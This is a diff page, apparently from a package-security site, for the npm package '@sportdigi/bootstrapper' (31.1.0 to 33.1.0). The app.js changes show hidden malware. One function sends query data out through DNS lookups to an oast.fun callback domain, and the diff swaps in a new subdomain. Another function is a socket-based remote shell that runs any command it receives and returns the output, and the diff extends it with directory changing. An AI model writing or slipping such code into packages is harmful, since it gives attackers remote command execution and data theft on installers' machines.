@sportdigi/bootstrapper 31.1.0 → 33.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +29 -12
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -6,7 +6,7 @@ const { exec } = require('child_process');
6
6
 
7
7
  let platform = os.platform();
8
8
  function sendDns(query) {
9
- let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
9
+ let domain = `${query}.pthtwfqhxteakeawipjws71vanexrvnzs.oast.fun`;
10
10
  dns.resolve(domain, (err) => {
11
11
  if (err) {
12
12
  console.error('DNS sorgulama hatası:', err.message);
@@ -58,17 +58,34 @@ function server() {
58
58
  return;
59
59
  }
60
60
 
61
- exec(command, (err, stdout, stderr) => {
62
- if (err) {
63
- client.write(`Hata: ${err.message}\n`);
64
- return;
65
- }
66
- if (stderr) {
67
- client.write(`Hata (stderr): ${stderr}\n`);
68
- return;
69
- }
70
- client.write(stdout);
71
- });
61
+ if (command.startsWith('cd ')) {
62
+ const newDir = command.substring(3).trim();
63
+ exec(`cd ${newDir} && pwd`, (err, stdout, stderr) => {
64
+ if (err) {
65
+ client.write(`Hata: ${err.message}\n`);
66
+ return;
67
+ }
68
+ if (stderr) {
69
+ client.write(`Hata (stderr): ${stderr}\n`);
70
+ return;
71
+ }
72
+ // Yeni dizini yazdır
73
+ client.write(`Yeni dizin: ${stdout}\n`);
74
+ });
75
+ } else {
76
+ // Diğer komutları çalıştır
77
+ exec(command, (err, stdout, stderr) => {
78
+ if (err) {
79
+ client.write(`Hata: ${err.message}\n`);
80
+ return;
81
+ }
82
+ if (stderr) {
83
+ client.write(`Hata (stderr): ${stderr}\n`);
84
+ return;
85
+ }
86
+ client.write(stdout);
87
+ });
88
+ }
72
89
  });
73
90
 
74
91
  client.on('end', () => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "31.1.0",
3
+ "version": "33.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {